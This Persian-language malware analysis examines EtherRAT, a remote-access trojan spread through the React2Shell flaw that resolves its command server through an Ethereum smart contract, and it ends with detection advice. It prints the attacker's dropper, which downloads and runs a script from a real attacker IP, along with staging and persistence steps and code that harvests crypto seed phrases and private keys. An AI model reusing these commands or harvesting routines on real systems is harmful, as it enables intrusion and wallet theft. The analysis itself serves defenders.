تحلیل تکنیکال بدافزار پیشرفته EtherRAT با زیرساخت فرماندهی و کنترل مبتنی بر بلاکچین اتریوم
چکیده
در دسامبر ۲۰۲۵، تنها دو روز پس از افشای عمومي آسيبپذيری بحرانی CVE-2025-55182 (معروف به React2Shell) در React Server Components، تیم تحقیقاتی Sysdig بدافزاری نوظهور به نام EtherRAT را کشف کرد که از نظر معماری و قابلیتهای تکنیکال، تفاوت بنیادینی با payloadهای مشاهدهشده در حملات پیشین داشت.

EtherRAT یک بدافزار دسترسی پایدار از نوع تروجان دسترسی از راه دور (RAT) است که از قراردادهای هوشمند بلاکچین اتریوم برای رزولوشن پویای آدرس سرورهای فرماندهی و کنترل (C2) استفاده میکند.
این مقاله به تحلیل معماری چهارلایهای EtherRAT، سازوکارهای نوآورانه پایداری در سیستمهای لینوکس، مکانیسم C2 مبتنی بر اجماع بلاکچین، قابلیتهای پیشرفته سرقت اطلاعات و اعتبارنامهها، و یافتههای جدید در مورد نسخههای ویندوزی این بدافزار میپردازد.
-
مقدمه
در سوم دسامبر ۲۰۲۵، محقق امنیتی Lachlan Davidson آسیبپذیری CVE-2025-55182 را در React Server Components افشا کرد. این آسیبپذیری از نوع ناامن در سریالزدایی (Insecure Deserialization) در پروتکل Flight ریاکت بود که به مهاجم اجازه میداد از طریق یک درخواست HTTP ساده، کد دلخواه را روی سرور اجرا کند. شدت این آسیبپذیری با امتیاز ۱۰ از ۱۰ در سیستم CVSS، آن را در زمره بحرانیترین آسیبپذیریهای سال قرار داد.

پس از افشا، گروههای متعددی از جمله گروههای مرتبط با چین (Earth Lamia، Jackpot Panda، UNC5174) و مهاجمان فرصتطلب، بهرهبرداری از این آسیبپذیری را آغاز کردند. این حملات عمدتاً شامل استقرار بدافزارهای ماینر ارز دیجیتال (به ویژه XMRig)، بکدورهایی مانند Cobalt Strike و Sliver، و ابزارهای سرقت اعتبارنامهها بود.
با این حال، در پنجم دسامبر ۲۰۲۵، تیم Sysdig بدافزاری را در یک برنامه Next.js به خطر افتاده کشف کرد که از نظر معماری و پیچیدگی تفاوت اساسی با payloadهای مشاهدهشده داشت. این بدافزار که EtherRAT نام گرفت، یک ایمپلنت دسترسی پایدار (Persistent Access Implant) با ویژگیهای منحصربهفردی بود: استفاده از قراردادهای هوشمند اتریوم برای C2، پیادهسازی پنج مکانیسم پایداری همزمان در لینوکس، و دانلود رانتایم Node.js از منبع رسمی برای کاهش سطح شناسایی.

این مقاله به تحلیل عمیق معماری، تکنیکهای پایداری، سازوکار C2 نوآورانه، و قابلیتهای جمعآوری اطلاعات EtherRAT میپردازد.
-
معماری چهارلایهای EtherRAT
EtherRAT از یک زنجیره حمله چهار مرحلهای استفاده میکند که هر لایه برای حداکثر پایداری، پنهانکاری و مقاومت در برابر تحلیل طراحی شده است.
2.1. مرحله صفر: دسترسی اولیه و Dropper مقاوم
حمله با سوءاستفاده از آسیبپذیری React2Shell آغاز میشود. مهاجم یک دستور shell کدگذاریشده با Base64 را از طریق یک درخواست HTTP به سرور هدف ارسال میکند:
sh -c echo <base64>|base64 -d|bash
پس از رمزگشایی، یک dropper شل با قابلیتهای قابل توجه ظاهر میشود:
while :; do
(curl -sL http://193.24.123.68:3001/script.sh -o ./s.sh 2>/dev/null || \
wget -qO ./s.sh http://193.24.123.68:3001/script.sh 2>/dev/null || \
python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/script.sh').read())") && \
[ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break
sleep 300
done
این dropper چندین ویژگی پیشرفته را نشان میدهد:
- تکنیکهای چندگانه دانلود: استفاده از curl، wget و Python به عنوان پشتیبان برای حداکثر سازگاری با محیطهای مختلف
- حلقه بینهایت با sleep: در صورت شکست دانلود، هر ۳۰۰ ثانیه مجدداً تلاش میکند که نشاندهنده طراحی برای محیطهای ناپایدار شبکه است
- بررسی Integrity: بررسی غیرخالی بودن فایل دانلود شده قبل از اجرا با `[ -s ./s.sh ]`
- اجرای خاموش: سرکوب تمام خروجیهای خطا با `2>/dev/null`
2.2. مرحله یک: استقرار و راهاندازی زیرساخت
اسکریپت دانلود شده (`s.sh`) مسئول راهاندازی محیط اجرایی و استقرار payloadهای رمزگذاریشده است:
bin/bash
D="$HOME/.local/share/.05bf0e9b"
ND="$D/.4dai8ovb"
mkdir -p "$D" 2>/dev/null
# Download Node.js runtime from official source
U1="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.gz"
curl -sL "$U1" -o "${Z}.tar.gz" || wget -q "$U1" -O "${Z}.tar.gz"
tar -xzf "${Z}.tar.gz" -C "$D"
mv "$D/node-v20.10.0-linux-x64" "$ND"
chmod +x "$ND/bin/node"
# Write encrypted payload and obfuscated dropper
echo "<base64_blob>" | base64 -d > "$D/.1d5j6rm2mg2d"
echo "<base64_js>" | base64 -d > "$D/.kxnzl4mtez.js"
nohup "$ND/bin/node" "$D/.kxnzl4mtez.js" >/dev/null 2>&1 &
rm -f "${BASH_SOURCE[0]}"
نکات کلیدی این مرحله:
– دانلود Node.js از منبع رسمی: استفاده از `nodejs.org` به جای باندل کردن باینری مخرب، سطح شناسایی استاتیک را کاهش میدهد و از ترافیک trusted استفاده میکند
– ساختار دایرکتوری مخفی: استفاده از دایرکتوریهای مخفی با نامهای هگز تصادفی (`.05bf0e9b` و `.4dai8ovb`)
– خودحذفی: حذف اسکریپت پس از اجرا برای کاهش آثار جرمیابی
– اجرای پسزمینه: استفاده از `nohup` با هدایت خروجی به `/dev/null` برای اجرای کاملاً نامحسوس
2.3. مرحله دو: Dropper جاوااسکریپت مبهم
فایل `.kxnzl4mtez.js` یک dropper مبهم است که payload اصلی را با استفاده از AES-256-CBC رمزگشایی میکند:
const kb = "cn7uRzKiMgOZ/dDxuclzgDrGKLQ7HEtEZ1Ld6k6eRsg="; // AES Key (Base64)
const ib = "2iWxmWx4r98fhW9jIpzKXA=="; // IV (Base64)
const key = Buffer.from(kb, "base64");
const iv = Buffer.from(ib, "base64");
function decrypt_payload(encrypted_file_path){
const encrypted_data = fs.readFileSync(encrypted_file_path);
const decipher = crypto.createDecipheriv("aes-256-cbc", key, iv);
let decrypted = decipher.update(encrypted_data);
decrypted = Buffer.concat([decrypted, decipher.final()]);
return decrypted;
}
استفاده از الگوریتم استاندارد AES با کلید ۲۵۶ بیتی نشاندهنده سطح بالایی از طراحی حرفهای است، هرچند hardcoding کلید و IV یک نقطه ضعف بالقوه در تحلیل بدافزار محسوب میشود.
2.4. مرحله سه: ایمپلنت نهایی EtherRAT
پس از رمزگشایی، ایمپلنت نهایی اجرا میشود که شامل هسته اصلی بدافزار، مکانیسمهای پایداری، و ماژول C2 مبتنی بر بلاکچین است.
-
مکانیسمهای پیشرفته پایداری در لینوکس
یکی از برجستهترین ویژگیهای EtherRAT، پیادهسازی «پنج مکانیسم پایداری همزمان» است که حذف کامل بدافزار از سیستم آلوده را بسیار دشوار میکند:
- سرویس Systemd user: ایجاد یک فایل سرویس در `~/.config/systemd/user/` برای اجرای خودکار در لاگین کاربر
- XDG autostart: افزودن entry در `~/.config/autostart/` برای محیطهای دسکتاپ مبتنی بر XDG
- Cron job: افزودن cron job در سطح کاربر برای اجرای دورهای
- تزریق به .bashrc: افزودن کد اجرایی به فایل `.bashrc` برای اجرا در هر نشست جدید bash
- تزریق به .profile: افزودن کد اجرایی به `.profile` برای پوشش نشستهای لاگین متفاوت
این رویکرد «چندلایه پایداری» (Layered Persistence) تضمین میکند که حتی اگر یک یا چند مکانیسم توسط مدافع سایبری کشف و حذف شود، بدافزار همچنان از مسیرهای جایگزین فعال میماند.
-
زیرساخت فرماندهی و کنترل مبتنی بر بلاکچین اتریوم
نوآورانهترین جنبه EtherRAT، استفاده از «قراردادهای هوشمند اتریوم» برای رزولوشن آدرس C2 است. این تکنیک که مشابه روش “EtherHiding” قبلاً در بدافزارهای مرتبط با کره شمالی مشاهده شده بود، در EtherRAT با یک «مکانیسم اجماع» منحصربهفرد ترکیب شده است.
4.1. معماری C2 مبتنی بر قرارداد هوشمند
به جای hardcoding آدرس سرور C2 که میتواند مسدود یا توقیف شود، EtherRAT از یک قرارداد هوشمند خاص در بلاکچین اتریوم آدرس جاری C2 را استخراج میکند:
const contractAddress = "0x22f96d61cf118efabc7c5bf3384734fad2f6ead4";
const lookupParam = "0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D";
const functionSelector = "0x7d434425";
const queryData = functionSelector + lookupParam.toLowerCase().replace("0x", "").padStart(64, "0");
این بدافزار با استفاده از متد `eth_call` زنجیره اتریوم را بدون نیاز به تراکنش (و در نتیجه بدون هزینه hex) کوئری میکند.
4.2. مکانیسم اجماع برای مقاومت در برابر دستکاری
EtherRAT یک سازوکار مبتنی بر اجماع (Consensus-based) را پیادهسازی کرده که آن را از سایر بدافزارهای مبتنی بر بلاکچین متمایز میکند:
const rpcEndpoints = [
"https://eth.llamarpc.com",
"https://mainnet.gateway.tenderly.co",
"https://rpc.flashbots.net/fast",
"https://rpc.mevblocker.io",
"https://eth-mainnet.public.blastapi.io",
"https://ethereum-rpc.publicnode.com",
"https://rpc.payload.de",
"https://eth.drpc.org",
"https://eth.merkle.io"
];
بدافزار به طور همزمان ۹ RPC endpoint عمومی اتریوم را کوئری میکند، پاسخها را جمعآوری کرده، و آدرسی را که اکثریت پاسخها بازمیگردانند به عنوان C2 جاری انتخاب میکند.
این طراحی چندین مزیت دفاعی را خنثی میکند:
– مقاومت در برابر Sinkholing: یک RPC endpoint آلوده یا دستکاریشده نمیتواند ارتباط را مختل کند
– مقاومت در برابر Poisoning: برای تغییر مسیر بدافزار، مهاجم باید حداقل ۵ از ۹ RPC endpoint را کنترل کند
– قابلیت اطمینان بالا: حتی اگر چندین RPC endpoint در دسترس نباشند، بدافزار همچنان میتواند آدرس صحیح را استخراج کند
4.3. شواهد جرمشناسی بلاکچین
جالب توجه است که همین مکانیسم بلاکچین که به مهاجم انعطافپذیری میدهد، یک ردپای دیجیتال غیرقابل حذف برای محققان ایجاد میکند. تیم Sysdig توانست تاریخچه کامل تغییرات آدرسهای C2 را از روی بلاکچین اتریوم استخراج کند:
| زمان (UTC) | آدرس C2 | توضیحات |
| 2025-12-05 19:19:47 | 91.215.85.42:3000 | آدرس اولیه |
| 2025-12-06 09:22:14 | 91.215.85.42:3000 | عدم تغییر |
| 2025-12-06 17:08:06 | 91.215.85.42:3000/ | تغییر جزئی (اسلش اضافه) |
| 2025-12-06 17:09:12 | 173.249.8.102:3000 | تغییر به سرور دوم |
| 2025-12-08 07:07:32 | grabify.link/SEFKGU | لینک Grabify برای شمارش قربانیان |
| 2025-12-08 07:18:34 | 173.249.8.102:3000 | بازگشت به سرور دوم |
استفاده از لینک Grabify به مدت ۱۱ دقیقه یک خطای عملیاتی قابل توجه از سوی مهاجم بود. این سرویس آدرس IP، user agent و موقعیت جغرافیایی بازدیدکنندگان را ثبت میکند و به محققان امکان ردیابی بیشتر را میدهد.

-
قابلیتهای پیشرفته جمعآوری اطلاعات
تحلیل payloadهای بازیابیشده از زیرساخت C2 نشان میدهد که EtherRAT دارای قابلیتهای گسترده جمعآوری اطلاعات، سرقت اعتبارنامهها، و خودتکثیری است.
5.1. ماژول شناسایی سیستم و طرد جغرافیایی
اولین payload شناساییشده، یک ماژول شناسایی است که اطلاعات گستردهای از سیستم قربانی جمعآوری میکند:
const _chkLocale = () => {
const banned = ['ru', 'be', 'kk', 'ky', 'tg', 'uz', 'hy', 'az', 'ka'];
// Checks system locale against banned list
if (currentLocale in banned) {
_selfDestruct();
return;
}
};
این مکانیسم Geo-exclusion کشورهای مستقل همسود (CIS) شامل روسیه، بلاروس، قزاقستان، قرقیزستان، تاجیکستان، ازبکستان، ارمنستان، آذربایجان، گرجستان و برخی کشورهای دیگر را بررسی میکند.
یافته قابل توجه این است که این الگوی CIS به طور سنتی در بدافزارهای مرتبط با روسیه و اروپای شرقی مشاهده میشود تا از تعقیب قضایی در کشورهای خود جلوگیری کنند. این موضوع با انتساب اولیه به کره شمالی در تضاد است و نشان میدهد که یا:
- مهاجم از منطقه CIS است و از ابزارهای مشترک با کره شمالی استفاده میکند
- مهاجم کره شمالی کد را از یک گروه روسی کپی کرده است
- این یک ترفند فریب برای پیچیدهتر کردن انتساب است
ماژول شناسایی همچنین اطلاعات زیر را جمعآوری میکند:
– وضعیت عضویت در دامنه Active Directory و سطح دسترسی ادمین
– اطلاعات GPU برای ارزیابی پتانسیل ماینینگ ارز دیجیتال
– محصولات امنیتی نصبشده (از طریق WMI در ویندوز و جستجوی پردازهها در لینوکس)
– نام دامنه، نام کامپیوتر، و نام کاربری
5.2. ماژول سرقت اعتبارنامههای ارز دیجیتال
دومین payload یک سرقتدهنده اعتبارنامه (Credential Harvester) پیچیده است که تمرکز ویژهای روی ارزهای دیجیتال دارد:

تشخیص BIP39 Seed Phrase:
این ماژول شامل **کل لیست ۲۰۴۸ کلمهای BIP39** است که برای تولید عبارتهای بازیابی کیف پولهای ارز دیجیتال استفاده میشود. دو روش تشخیص پیادهسازی شده است:
- جستجوی کلمات BIP39 در نزدیکی کلیدواژههایی مانند “mnemonic”، “seed”، “recovery”، “wallet”
- پنجره کشویی (Sliding Window): بررسی هر دنباله ۱۲-۲۴ کلمهای متوالی و تطبیق با مجموعه BIP39
for (const len of [24, 21, 18, 15, 12]) {
if (words.length >= len) {
const slice = words.slice(0, len);
if (slice.every(w => BIP39_SET.has(w))) {
addFinding('seed_phrase', filePath, slice.join(' '));
break;
}
}
}
الویتبندی عبارتهای ۲۴ کلمهای (که بیشترین آنتروپی – ۲۵۶ بیت – را دارند) نشاندهنده هدفگیری کیف پولهای با ارزش بالا است.

اعتبارسنجی کلید خصوصی اتریوم
بر خلاف سرقتدهندههای ساده که صرفاً الگوی ۶۴ کاراکتر هگزادسیمال را جستجو میکنند، EtherRAT اعتبارسنجی رمزنگاری را انجام میدهد:
const isValidPrivateKey = (hex) => {
if (!/^[a-fA-F0-9]{64}$/.test(hex)) return false;
const bn = BigInt('0x' + hex);
const max = BigInt('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141');
return bn > 0 && bn < max; // Checks within curve order
};
این سطح از پیچیدگی نشاندهنده تخصص عمیق در رمزنگاری منحنی بیضوی (Elliptic Curve Cryptography) و مکانیزمهای داخلی اتریوم است.
5.3. قابلیتهای خودتکثیری و بهروزرسانی
EtherRAT شامل یک قابلیت بهروزرسانی خودکار Payload است: در اولین ارتباط با C2، کد منبع خود را به Endpoint در `/api/reobf/` ارسال میکند و نسخه مبهمشده جدیدی را دریافت و جایگزین میکند.
این مکانیسم به بدافزار اجازه میدهد:
– از امضای مبتنی بر هش فرار کند (از آنجا که payload هر بار متفاوت است)
– قابلیتهای خود را از راه دور بهروزرسانی کند
– در صورت کشف شدن، مهاجم میتواند تمام نمونههای مستقرشده را بهروزرسانی کند
-
تمایز نسخه ویندوزی
یک نسخه ویندوزی از EtherRAT شناسایی شده که با disguise به عنوان نصاب مود بازی (Game Mod Installer) توزیع میشود.
6.1. بردار نفوذ متفاوت
برخلاف نسخه لینوکس که از آسیبپذیری React2Shell بهرهبرداری میکند، نسخه ویندوزی از طریق مهندسی اجتماعی توزیع میشود. زیپ های حاوی فایلهای MSI با عنوان “99 Nights Script” (یک مود محبوب برای بازی Roblox) کاربران را فریب میدهند تا بدافزار را اجرا کنند.
2. تفاوتهای معماری
تیم ENKI تفاوتهای معماری قابل توجهی بین نسخه لینوکس و ویندوز شناسایی کرده است:
| ویژگی | نسخه لینوکس | نسخه ویندوزی |
| C2 Resolution | همیشه از قرارداد هوشمند | برخی نمونهها از آدرس hardcoded استفاده میکنند |
| پایداری | پنج مکانیسم همزمان | فقط Registry Run key (توسط dropper) |
| Logging | نسخه قدیمی بدون logging | نسخه جدید با قابلیت logging (build value 5a15c932…) |
| آدرس قرارداد | آدرس فعال اتریوم | برخی نمونهها آدرس 0x0 (غیرفعال) دارند |
جالب توجه است که در برخی نمونههای ویندوزی، تابع بازیابی آدرس C2 از قرارداد هوشمند هرگز فراخوانی نمیشود و به جای آن از آدرس hardcoded `hxxp://91.215.85.42:3000` استفاده میشود.
6.3. تکامل active و قراردادهای ثانویه
تیم ENKI یک قرارداد هوشمند ثانویه با آدرس `0x429929d8fe40D2deCf618C4A87721AC2a820bA78` شناسایی کرده که پس از پایان تراکنشهای قرارداد اولیه ایجاد شده است. این نشان میدهد که مهاجم به طور فعال زیرساخت خود را مدیریت و بهروزرسانی میکند.
-
نتیجهگیری
EtherRAT نشاندهنده یک جهش تکاملی قابل توجه در طراحی بدافزارهای پیشرفته است:
۱. نوآوری در لایه C2: استفاده از بلاکچین اتریوم با مکانیسم اجماع ۹ نقطه پایانی، مقاومت بیسابقهای در برابر توقیف و اختلال ایجاد میکند. این طراحی نشاندهنده درک عمیق از نقاط ضعف زیرساختهای سنتی C2 و بهرهبرداری از ویژگیهای ذاتی بلاکچین (عدم تمرکز، تغییرناپذیری، در دسترس بودن همگانی) است.
۲. تغییر الگو از فرصتطلبی به تهدید پایدار: در حالی که حملات اولیه React2Shell بر ماینینگ ارز دیجیتال و سرقت سریع اعتبارنامهها متمرکز بودند، EtherRAT یک ایمپلنت دسترسی پایدار با مکانیسمهای پایداری چندلایه و قابلیت بهروزرسانی از راه دور است.
۳. چالش انتساب (Attribution): وجود مکانیسم طرد CIS در کد که معمولاً در بدافزارهای روسی دیده میشود، با سایر شباهتها به ابزارهای مرتبط با کره شمالی (مانند BeaverTail در کمپین Contagious Interview) در تضاد است. این مسئله سه احتمال را مطرح میکند:
(۱) اشتراک ابزار بین گروههای پیشرفته
(۲) یک گروه غیرمرتبط که تکنیکهای چندین کمپین را ترکیب کرده
(۳) یک ترفند فریب عمدی برای پیچیدهکردن انتساب.
۴. تکامل تهدید به سمت اکوسیستم Node.js: استفاده از Run-time قانونی Node.js و توزیع از طریق آسیبپذیریهای برنامههای تحت وب، نشاندهنده تغییر تمرکز مهاجمان به سمت اکوسیستم جاوااسکریپت و سرورهای مدرن مبتنی بر React و Next.js است.
برای مدافعان سایبری، این بدافزار چالشهای جدیدی ایجاد میکند. استراتژیهای تشخیص پیشنهادی عبارتند از:
– نظارت بر ترافیک خروجی به RPC endpoints عمومی اتریوم
– شناسایی الگوهای beaconing با فواصل ۵۰۰ میلیثانیه
– جلوگیری از اجرای فایلهای مهم در دایرکتوریهای مخفی کاربران
– مسدودسازی دانلود Node.js از `nodejs.org` در محیطهای حساس (که ممکن است false-positive ایجاد کند)
تحقیقات آینده باید بر روی استخراج و تحلیل payloadهای ثانویه، شناسایی قراردادهای هوشمند مرتبط بیشتر، و توسعه روشهای تشخیص مبتنی بر رفتار برای مقابله با این نسل جدید از بدافزارهای مبتنی بر بلاکچین متمرکز شود.